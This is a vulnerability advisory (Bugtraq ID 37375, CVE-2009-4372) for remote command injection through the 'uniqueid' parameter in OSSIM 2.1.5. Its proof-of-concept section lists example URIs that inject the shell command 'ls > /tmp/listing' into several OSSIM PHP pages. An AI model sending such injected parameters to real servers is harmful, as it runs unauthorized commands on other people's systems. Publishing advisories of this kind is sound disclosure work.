OSSIM 'uniqueid' Parameter Multiple Remote Command Execution Vulnerabilities
BID:37375
Info
OSSIM 'uniqueid' Parameter Multiple Remote Command Execution Vulnerabilities
| Bugtraq ID: | 37375 |
| Class: | Input Validation Error |
| CVE: |
CVE-2009-4372 |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 16 2009 12:00AM |
| Updated: | Apr 13 2015 09:05PM |
| Credit: | Nahuel Grisolia |
| Vulnerable: |
OSSIM os-sim 2.1.5 |
| Not Vulnerable: | |
Discussion
OSSIM 'uniqueid' Parameter Multiple Remote Command Execution Vulnerabilities
OSSIM is prone to multiple vulnerabilities that attackers can leverage to execute arbitrary commands because the application fails to adequately sanitize user-supplied input.
Successful attacks can compromise the affected application and possibly the computer.
These issues affect OSSIM 2.1.5; other versions may be affected as well.
OSSIM is prone to multiple vulnerabilities that attackers can leverage to execute arbitrary commands because the application fails to adequately sanitize user-supplied input.
Successful attacks can compromise the affected application and possibly the computer.
These issues affect OSSIM 2.1.5; other versions may be affected as well.
Exploit / POC
OSSIM 'uniqueid' Parameter Multiple Remote Command Execution Vulnerabilities
The following example URIs are available:
http://www.example.com/ossim/sem/wcl.php?uniqueid=1;ls%20%3E%20/tmp/listing
http://www.example.com/ossim/sem/storage_graphs.php?uniqueid=;ls%20%3E%20/tmp/listing;
http://www.example.com/ossim/sem/storage_graphs2.php?uniqueid=;ls%20%3E%20/tmp/listing;
http://www.example.com/ossim/sem/storage_graphs3.php?uniqueid=;ls%20%3E%20/tmp/listing;
http://www.example.com/ossim/sem/storage_graphs4.php?uniqueid=;ls%20%3E%20/tmp/listing;
The following example URIs are available:
http://www.example.com/ossim/sem/wcl.php?uniqueid=1;ls%20%3E%20/tmp/listing
http://www.example.com/ossim/sem/storage_graphs.php?uniqueid=;ls%20%3E%20/tmp/listing;
http://www.example.com/ossim/sem/storage_graphs2.php?uniqueid=;ls%20%3E%20/tmp/listing;
http://www.example.com/ossim/sem/storage_graphs3.php?uniqueid=;ls%20%3E%20/tmp/listing;
http://www.example.com/ossim/sem/storage_graphs4.php?uniqueid=;ls%20%3E%20/tmp/listing;
Solution / Fix
OSSIM 'uniqueid' Parameter Multiple Remote Command Execution Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
OSSIM 'uniqueid' Parameter Multiple Remote Command Execution Vulnerabilities
References:
References:
- OSSIM Homepage (OSSIM)